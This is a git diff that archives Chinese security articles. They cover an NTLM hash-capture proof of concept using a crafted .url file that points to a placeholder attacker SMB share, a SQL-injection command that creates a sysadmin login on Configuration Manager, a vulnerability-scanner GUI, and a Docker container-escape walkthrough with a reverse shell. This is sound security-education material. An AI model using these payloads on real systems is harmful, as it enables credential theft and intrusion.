diff --git a/data.json b/data.json index 0aa60730..85120ef2 100644 --- a/data.json +++ b/data.json @@ -3328,5 +3328,14 @@ "https://mp.weixin.qq.com/s?__biz=Mzk0ODY1NzEwMA==&mid=2247486058&idx=1&sn=94c417bfac0de38346155df588db3dd4": "MS17-010漏洞利用工具", "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651312806&idx=1&sn=5a40997e2166b5b730a46ae577b831a1": "思科曝9.9分关键权限提升漏洞", "https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649793986&idx=3&sn=b951bb5b8e3502708e251c22f873a652": "超过 2,000 台 SonicWall 设备易受严重0day漏洞攻击", - "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247492144&idx=3&sn=3b364eb801a05419d2b65c14ce311eb9": "漏洞预警 | 通达OA SQL注入漏洞" + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247492144&idx=3&sn=3b364eb801a05419d2b65c14ce311eb9": "漏洞预警 | 通达OA SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzUyNTUyNTA5OQ==&mid=2247484704&idx=1&sn=410d5b5fae6bf9431286297a0a2c6170": "【云安全】云原生-Docker(五)容器逃逸之漏洞利用", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067606&idx=3&sn=6473d53d9a207bfac9888ca3a543bbf8": "【安全圈】新的 Cleo 零日 RCE 漏洞在数据盗窃攻击中被利用", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067606&idx=4&sn=e8ae1a9dfb9fb649575b0d8a5414a82d": "【安全圈】新的 UEFI 安全启动漏洞使系统暴露于 bootkit", + "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247527185&idx=1&sn=e316e52a9c3df272305888245af343f8": "CVE-2024-43451 Windows NTLM 漏洞,允许攻击者使用恶意快捷方式强制身份验证并捕获 NTLM 哈希", + "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247527185&idx=2&sn=67cbf97affd8106486d5097a7d773cf7": "CVE-2024-43468 :通过 PoC 代码揭示 Microsoft Configuration Manager 漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458589259&idx=2&sn=4356dec55931f1257ae44561ca3f0d3e": "别错过!“系统0day安全”课程,带你精通漏洞挖掘技巧", + "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247490322&idx=1&sn=25c1352e1b349a1302486f7e519f7d5d": "友数聚 CPAS审计管理系统V4 downPlugs 任意文件读取漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkzNzg4MTI0NQ==&mid=2247485448&idx=1&sn=5888106f1aed20b020b5c7cf2e2d7d53": "xray图形化工具-Super Xray,支持自定义导入poc库", + "https://mp.weixin.qq.com/s?__biz=MzU5NjYwNDIyOQ==&mid=2247484826&idx=1&sn=5f81afa2c8c6ec0ad22c685de58a12d2": "对 404 站点的漏洞挖掘" } \ No newline at end of file diff --git a/doc/CVE-2024-43451 Windows NTLM 漏洞,允许攻击者使用恶意快捷方式强制身份验证并捕获 NTLM 哈希.md b/doc/CVE-2024-43451 Windows NTLM 漏洞,允许攻击者使用恶意快捷方式强制身份验证并捕获 NTLM 哈希.md new file mode 100644 index 00000000..c60a2375 --- /dev/null +++ b/doc/CVE-2024-43451 Windows NTLM 漏洞,允许攻击者使用恶意快捷方式强制身份验证并捕获 NTLM 哈希.md @@ -0,0 +1,115 @@ +# CVE-2024-43451 Windows NTLM 漏洞,允许攻击者使用恶意快捷方式强制身份验证并捕获 NTLM 哈希 + Ots安全 2025-01-25 10:20 + +![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") + +**描述** +- 名称:CVE-2024-43451 + +- CVSSv3 评分:6.5 + +- 受影响的版本:2024 年 11 月补丁之前的所有 Microsoft Windows 版本 + +CVE-2024-43451 是 Microsoft Windows 中的一个零日漏洞,攻击者可以利用该漏洞在与用户进行最少交互的情况下捕获 NTLMv2 密码哈希,从而可能导致凭据被盗。一种常用的利用方法是利用 SMB 连接上的 NTLM 身份验证来捕获远程服务器的哈希。此漏洞已在 2024 年 11 月的更新中得到修补。建议用户应用相关的安全更新以降低风险。 + +此次攻击被发现利用了一封从受感染的乌克兰政府服务器发送的网络钓鱼电子邮件。该电子邮件包含一个恶意 URL 文件。当用户通过右键单击、删除或移动文件与文件交互时,漏洞就会被激活。这会触发与攻击者服务器的连接,从而下载更多恶意文件,例如 SparkRAT 恶意软件(一种开源远程访问木马,允许攻击者控制受害者的系统)。 + +**NTLM 身份验证** + +NTLMv2 是目前最安全且最具相关性的版本。 +- 客户端连接到服务器并请求访问资源。 + +- 服务器生成一个随机数(一个随机的 16 字节质询)并将其发送给客户端。 + +- 客户端发送使用 HMAC-MD5 算法生成的响应,其中包括密码哈希(使用 NT 哈希算法)、服务器随机数、时间戳、客户端随机数等。 + +- 服务器使用 NT 哈希并重复相同的计算来生成自己的 NTLM 响应,一旦它们各自有了自己的响应,它们就可以对它们进行比较。 + +- 一旦比较,服务器就会决定是否接受或拒绝连接。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rWGOWg48tadePSvn0KHagcRnicODXYLvjGvQnaHXGUy4hwic5THfjCib8ae5TicJXqKK0Cy6urd6hVQgnqO5IcNAIQ/640?wx_fmt=other&from=appmsg "") + +**开发** + +**POC 设置** + +为了为此 POC 创建工作环境,我们必须设置一个目标 Windows 机器,其版本号 + +在 2024 年 11 月之前发布,以及一个远程服务器来模拟捕获哈希: + +1.下载并安装Responder以通过 SMB 捕获哈希: + +``` +brew install python3 +git clone https://github.com/lgandx/Responder.git +cd Responder +sudo python3 Responder.py -I -v +``` + + +2.确保目标 Windows VM 与远程“黑客”环境之间成功连接。 + +3.通过进入资源管理器并输入以下内容来测试响应程序设置\\(remote server IP): + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48tadePSvn0KHagcRnicODXYLvj6AwHiaQHMy0Gl9icf5jC8g8RNdOuRKcBicrY6MjC6ICnUa4lD1B6VIz3Q/640?wx_fmt=png&from=appmsg "") + +**创建漏洞** + +由于所有漏洞利用都需要与远程服务器建立 SMB 连接,因此我们可以使用一个简单的文件来模拟它: + +1.打开记事本 + +2.输入以下内容: + +您可以输入任何可以诱使用户进行交互的图标,我使用了“已满垃圾桶”图标(32) + +``` +[InternetShortcut] +URL=\\(remote server IP)\share +IconIndex=32                     +IconFile=C:\Windows\System32\shell32.dll +``` + + +3.将其保存为(名称).url + +**活动进程** + +一旦文件准备好并传送到目标系统,窃取哈希只需要很少的用户交互。此交互可能涉及以下任何操作: +- 下载文件并访问“下载”文件夹 + +- 右键单击文件 + +- 将文件移动到另一个文件夹 + +**Cracking** + +Mimikatz有了未加密的哈希值,我们可以尝试破解它以显示纯文本密码,或者使用或之类的工具在“传递哈希”攻击中使用它Metasploit。 + +在我们的例子中,一个简单的Hashcat命令就可以显示我的密码:hashcat -m 5600 leak.txt rockyou.txt + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48tadePSvn0KHagcRnicODXYLvj1s6UpqOOkTha6HW2ED77p5yZ2dmTgvlQbLOUA8dBdsicnjvgoicKjrfQ/640?wx_fmt=png&from=appmsg "") + +- https://github.com/RonF98/CVE-2024-43451-POC + + + +感谢您抽出 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") + +来阅读本文 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") + +**点它,分享点赞在看都在这里** + + diff --git a/doc/CVE-2024-43468 :通过 PoC 代码揭示 Microsoft Configuration Manager 漏洞.md b/doc/CVE-2024-43468 :通过 PoC 代码揭示 Microsoft Configuration Manager 漏洞.md new file mode 100644 index 00000000..f78212c4 --- /dev/null +++ b/doc/CVE-2024-43468 :通过 PoC 代码揭示 Microsoft Configuration Manager 漏洞.md @@ -0,0 +1,52 @@ +# CVE-2024-43468 :通过 PoC 代码揭示 Microsoft Configuration Manager 漏洞 + Ots安全 2025-01-25 10:20 + +![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rWGOWg48tadePSvn0KHagcRnicODXYLvjYOQcibicFgYOKCiaSRofGME1WVu2aA8IicMxUcibeHCicZWsXq8OoK24mI8Q/640?wx_fmt=webp&from=appmsg "") + +Synacktiv 的安全研究员 Mehdi Elyassa 公布了 Microsoft Configuration Manager (MCM) 中一个严重漏洞的技术细节和概念验证 (PoC) 漏洞代码,该漏洞编号为 CVE-2024-43468,CVSS 评分为 9.8。此漏洞允许未经身份验证的攻击者利用 SQL 注入漏洞,从而在服务器及其底层数据库上执行任意命令。 + +该漏洞存在于 MP_Location 服务中,该服务处理客户端向 Microsoft Configuration Manager 发送的消息。根据分析,该服务不安全地使用输入进行数据库查询,导致两个不同的 SQL 注入向量:getMachineID 和 getContentID。这两个向量都不需要身份验证,因此攻击者很容易利用它们。 + +Mehdi解释道:“ MP_Location 服务在处理客户端发送的消息时,不安全地使用输入进行数据库查询。”这种不安全的处理方式使攻击者能够以 sysadmin 级权限执行任意 SQL 查询,从而可能激活 xp_cmdshell 程序以实现远程代码执行。 + +Synacktiv 提供了详细的概念验证 (PoC) 脚本来利用 CVE-2024-43468 漏洞。例如,使用unauth_sqli_LocationMgr.py脚本,攻击者可以通过注入恶意 SQL 查询来创建 sysadmin 帐户: + +``` +unauth_sqli_LocationMgr.py -t sccm.corp.local -sql "create login poc_sqli_machineid with password = 'p4sswOrd'; exec master.dbo.sp_addsrvrolemember 'poc_sqli_machineid', 'sysadmin'" +``` + + +成功利用该漏洞后,攻击者可以访问配置管理器数据库 ( CM_ ) 并在服务器上执行命令。这可能导致部署环境完全被攻陷、数据被盗,以及网络内潜在的横向移动。 + +Microsoft在 2024 年 10 月补丁星期二更新中解决了此漏洞。建议使用 Microsoft Configuration Manager 的组织立即应用这些补丁,以防止漏洞被利用。 + +检测成功的利用可能具有挑战性,因为 SQL 注入负载不会直接反映在日志文件中。但是,Synacktiv 建议监控MP_Location.log文件中是否存在异常,例如与 getMachineID操作相关的特定错误消息。 + +此漏洞凸显了不安全处理客户端输入所带来的风险,尤其是在 MCM 等关键基础设施工具中。利用 CVE-2024-43468 的攻击者可以绕过身份验证并以最小的努力实现高权限操作,这使得此漏洞成为利用的主要目标。 + +Synacktiv 总结道:“此类操作允许接管部署并在底层服务器上执行任意命令。”   +- https://github.com/synacktiv/CVE-2024-43468 + + + +感谢您抽出 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") + +来阅读本文 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") + +**点它,分享点赞在看都在这里** + + diff --git a/doc/xray图形化工具-Super Xray,支持自定义导入poc库.md b/doc/xray图形化工具-Super Xray,支持自定义导入poc库.md new file mode 100644 index 00000000..89bd54c3 --- /dev/null +++ b/doc/xray图形化工具-Super Xray,支持自定义导入poc库.md @@ -0,0 +1,153 @@ +# xray图形化工具-Super Xray,支持自定义导入poc库 +原创 track 泷羽Sec-track 2025-01-25 09:24 + +> +> 声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!! + + + +公众号回台回复**25125** +即可获取 + +[2024Goby红队版工具-附2024年poc合集,支持导入自定义poc库](https://mp.weixin.qq.com/s?__biz=MzkzNzg4MTI0NQ==&mid=2247485321&idx=1&sn=b3fd33cb785e9affc26dceaeec07c6b4&scene=21#wechat_redirect) + + +[2024全年漏洞poc大合集及500份src报告](https://mp.weixin.qq.com/s?__biz=MzkzNzg4MTI0NQ==&mid=2247484688&idx=1&sn=94930f4a1b8f26b272e58042bfcb8594&scene=21#wechat_redirect) + +# Super Xray + +一款Web漏洞扫描工具**XRAY的GUI启动器** +,xray是一款优秀的漏洞扫描工具,但目前只有命令行版本,通过 **config.yaml** + 配置文件启动,很多情况下不好上手,需要一款 **GUI** + 工具来帮助新人更快使用。 + +项目源地址: +``` +https://github.com/4ra1n/super-xray + +``` +## 环境准备及注意事项 + +共有如下三种插件,使用方法也都说明了 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9bWia7x9nNJYKCHFFBFlib335OMrtkeSeFsFBEofSGauWtz01ibFMnDiatg/640?wx_fmt=png&from=appmsg "") +- 本地有 JRE/JDK 8+环境 + +- 使用 **java -jar SuperXray.jar** +启动(可以**双击** +插件使用) + +- 需要事先下载**xray** + +**xray配置教程:2024web漏洞扫描辅助神器xray安装和使用** + +新版本内置了**一键下载** +功能,点击这两处即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9iaIkxFLD0Ox2F0Xj1PibbVt6RRMcN9ia8RQ1iasogLh9pibLR3n36P7ianog/640?wx_fmt=png&from=appmsg "") + +image-20250125165841240 +### 注意事项 +- 请使用 1080P 及以上分辨率,在 720P 及以下分辨率可能无法完全显示 + +- 请使用最新版xray(目前是1.9.4版本,本工具未兼容老版本xray) + +- 支持两种方式的exe文件,system版使用系统的JRE,另一种内置了JRE 8 + +## 核心特性 +- **图形化界面,使用方便** + +- **内置多种poc,可自行导入** + +- **支持中英双语** + +- **内置多种插件,可自主选择** + +## 界面预览 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9JGZq4dz6ACqExgMIPrrYRcLv3MjaQIS2icOq5H7Olicf5yObAC2at02A/640?wx_fmt=png&from=appmsg "") + +初始界面 +## 在线生成poc + +点击此处即可跳转 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9hOb8kKle1pw6LdicKOx6lR18n64DutRtZ7y71At2x5qselWpR5ZfCJQ/640?wx_fmt=png&from=appmsg "") + +image-20250125170450755 + +然后在下面的界面**自定义poc** +生成即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9dUxKq6YFKDFtjDJyOVGAbHqBpv2TUnaHNIwsoAX8EbK7D2aSmdWl3w/640?wx_fmt=png&from=appmsg "") + +image-20250125170424664 +## 指定多个PoC + +搜索后复制到输入框,注意换行分割 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9RJicGEz64lRBvfc6yw0UibKCDjVSMDW6XJq7svVaowwib3Z4cMAqibQd3g/640?wx_fmt=png&from=appmsg "") + +指定多个poc +## 与rad联动 + +在0.8版本以后可以与rad联动: + +注意:先输入端口开启被动扫描,再打开rad +配合 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN98mVRP2NJ7kxa5U1W48vLzbxA2CqwYtI3RYaiaIjZp3oOCrhhN0O1odg/640?wx_fmt=png&from=appmsg "") + +rad +## 子域名扫描 + +在1.0版本以后支持子域名扫描,但是高级版才可以使用 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9zFxRslB5evzbs6dGHf9hH8ic1DviammmjiaxZtVRMEKRq5FxZwmeAqy5w/640?wx_fmt=png&from=appmsg "") +## 反连平台 +1. 配置好客户端的反连平台后点击**配置服务端** + +1. 任意输入数据库文件名 + +1. 任意输入token密码 + +1. 不要改ip并输入一个监听端口 + +1. 点击导出配置文件得到一个**reverse/config.yaml** + +1. 把xray +和这个文件复制一份到服务端 + +1. 服务端**./xray reverse**启动反连平台 + +1. 在反连平台输入对应到**token** +和**http url** +即可(ip格式:http://127.0.0.1:80) + +1. 开启主动扫描或被动扫描即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9fictH91tfKPaQgAvE2M4XqOEoIic8VqGNdCNm4SY14rWQ9ZibHib7OZicjw/640?wx_fmt=png&from=appmsg "") + +image-20250125170048737 +## 服务扫描 + +支持**Tomcat AJP** +和一些**Weblogic IIOP** +漏洞扫描 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9MhqxdRdlTCKibrEaibyRb2gCkL7KJtSJpKFy7ibhVW4ceH6a7zYLjgnOg/640?wx_fmt=png&from=appmsg "") + +image-20250125170059728 +## 问题反馈及版本信息 + +在界面左上角即可查看 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9LZ9m3Dun495XKnuvQvaXibUYcV216jf1Eoh1N7lDztv9Rib8qpSXICHw/640?wx_fmt=png&from=appmsg "") + +版本信息 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/YxCBEqEyrw2o3r2zqqtwo7EQyTQ4fDN9qnc6hTjicQ0iaHrgsNzib44v6nweX3dya54qLjsHZ1ZiaC2ZI9yGichSPdA/640?wx_fmt=png&from=appmsg "") + +image-20250125170251787 + + diff --git a/doc/【云安全】云原生-Docker(五)容器逃逸之漏洞利用.md b/doc/【云安全】云原生-Docker(五)容器逃逸之漏洞利用.md new file mode 100644 index 00000000..1d05a304 --- /dev/null +++ b/doc/【云安全】云原生-Docker(五)容器逃逸之漏洞利用.md @@ -0,0 +1,366 @@ +# 【云安全】云原生-Docker(五)容器逃逸之漏洞利用 +原创 仇辉 仇辉攻防 2025-01-25 11:42 + +  +# 漏洞利用逃逸 +# + +通过漏洞利用实现逃逸,主要分为以下两种方式: + +## 1、操作系统层面的内核漏洞 +## + +这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。 + + +攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。 + + +常用漏洞: + + +Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。 + + +OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。 + + +权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。 + + +其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等 + +> 系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。 + +## +## 2、Docker自身版本漏洞 +## + +Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。 + + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uh0sDAlPcibLbECYFYEKiceVqSUzfyTrXXyrdukSiaPh5t1ZEKEy2B9yj5Q/640?wx_fmt=png&from=appmsg "") + + + + + +常用漏洞: + +### CVE-2019-5736 +### + +攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。 + +#### 利用条件 +#### + +(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6  + +(2)需要管理员再次进入容器触发 + +#### 漏洞复现 +#### + +a.首先卸载原有docker +``` +sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras +sudo rm -rf /var/lib/docker +sudo rm -rf /var/lib/containerd +sudo rm /etc/apt/sources.list.d/docker.list +sudo rm /etc/apt/keyrings/docker.asc +``` + + +b.安装漏洞对应版本 +``` +apt-get update +apt-get install -y apt-transport-https ca-certificates curl software-properties-common +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" +apt-get update +apt-cache madison docker-ce +apt-get install docker-ce=18.06.1~ce~3-0~ubuntu +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhKa4BWu76IwanVUcia0ZiaApG6MoBrtk5iawKZm3S1Aic2cJt69RPRHPeeg/640?wx_fmt=png&from=appmsg "") + + +c.编译exp ,项目地址 + +``` +https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go +``` +``` + +``` + + +下载EXP后修改 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhaC0nN1sHPHKIxrbUubxOMD9m4Zm3TXhL30uqE3WHJRrrTxGxpKP7aA/640?wx_fmt=png&from=appmsg "") + + + +使用如下命令进行编译EXP +``` +CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uh2E9p9FMkl0m1UkicHT5eiaLs8Iq6ic292Aap6cqqTibWGekEuLNKibLSmzA/640?wx_fmt=png&from=appmsg "") + + + +d.准备另一台主机进行监听,上传EXP到容器,执行 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhEb62pgakaUPq904soq9vvQiaCCuBe53oSsr0EyI9OpuDiateoqX6GQVw/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhFYiaqQ2UPMs7mcAIqexgPx0lX4bw8ic0CAp4zN2vM3R3KdlCJoicQ2Fgg/640?wx_fmt=png&from=appmsg "") + + + +e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhYrxWbq8WxQ1SPrWVDL7uY4ydtVLCtVMKvQHfib0OxFjWXPaOP6pJo7Q/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhwzUnx5Bh1vOzrP7lWABUGn9hEJDkHwOhGMWcAJWGkf1Mps5CRNv2Hw/640?wx_fmt=png&from=appmsg "") + + +#### 模拟实战 +#### + +受害者搭建网站 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uhh9ibqYicEnmtCZLMSon6yNMk5mcboxP1gdV7EzMMd3XOWuFuCa6UGk2g/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhtzMa8AtPX5h2RRllIEcgaT8L0KyebR8RgUPxDib5oufMCIGNZRicR8mA/640?wx_fmt=png&from=appmsg "") + + + + + +攻击者发现存在 Spring Cloud Gateway 命令执行漏洞 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhstdVHl4VdGcbR8ykxQl93L2IFtqslyI81YmyicV5kPJNKTkoacRzxTw/640?wx_fmt=png&from=appmsg "") + + + + + +发现是容器root权限 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uh4qolHYS67OUKiabaw9wSetNMjsQ09SI8NFut6jQiaZ0LOMC8Q4Fib59Qg/640?wx_fmt=png&from=appmsg "") + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhtoH7u6PvoiavAuukibvicBT51OTOnHic7DAH7oNE35awusKOkMwtkvgL9A/640?wx_fmt=png&from=appmsg "") + + + + + +植入内存马,使用哥斯拉连接 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhFuo6TjOfrGIr0iaiaeiawOQpianhaEgtoXuicAl2cbPy8FD4tezU9DqHkFw/640?wx_fmt=png&from=appmsg "") + + +使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uhg0Fyhz1COx2uEcO81iaIaZCVvL51ntXEDM9ZibBa9BialicotDOEicxastw/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhflCTia9zKhYcAbyicyibRHDOKgqu302aaR8LgpQx5IuYN1FaB7xQGuvtw/640?wx_fmt=png&from=appmsg "") + + +监听、执行→管理员进入容器→成功逃逸 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhIPfjnGUhF2xXibVZuqe14SJgKia4CXBZBS6PicpqK9ZlXYA0btmVplvhA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhicBKkT4ewybuBBSnHnNUvaqI00y7aYWwlTibicUIaicdwwOtxBV3ajhAcA/640?wx_fmt=png&from=appmsg "") + + +### CVE-2020-15257 +### + +该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。 + +#### 利用条件 +#### + +(1)版本:containerd < 1.4.3,containerd < 1.3.9( +不含1.3.9 和 1.4.3 +) + +(2)容器权限为root,且以 + --net=host 模式启动 + +#### 模拟复现 +#### + +a. 受害者安装的 +containerd +版本为漏洞版本 +``` +apt-get update +apt-get install ca-certificates curl software-properties-common +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable" +apt-get update +apt-cache madison docker-ce +apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1 +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhHxe1g7oSUC60BfO6UWNUE8sGo3ibmsmLiblQqyeXcEdmx7KSpl76Hc6A/640?wx_fmt=png&from=appmsg "") + + +b.受害者基于以上环境搭建的网站,存在struts2漏洞 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1Uh8n8XNu8AestTQ1c3RSbUFns4NaK2TSXHTe7QEP2K2qnOwKOEyafe4A/640?wx_fmt=png&from=appmsg "") + + +c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root + + +![](https://mmbiz.qpic.cn/mmbiz_png/qqUYEYiclhFJAJHOkIQXCRLCmyZJRp1UhXIUEKh7N4dOv0icvLsO27UCopgCCibMFqh3slrKe0wt2nM4MPjH1FYJQ/640?wx_fmt=png&from=appmsg "") + + 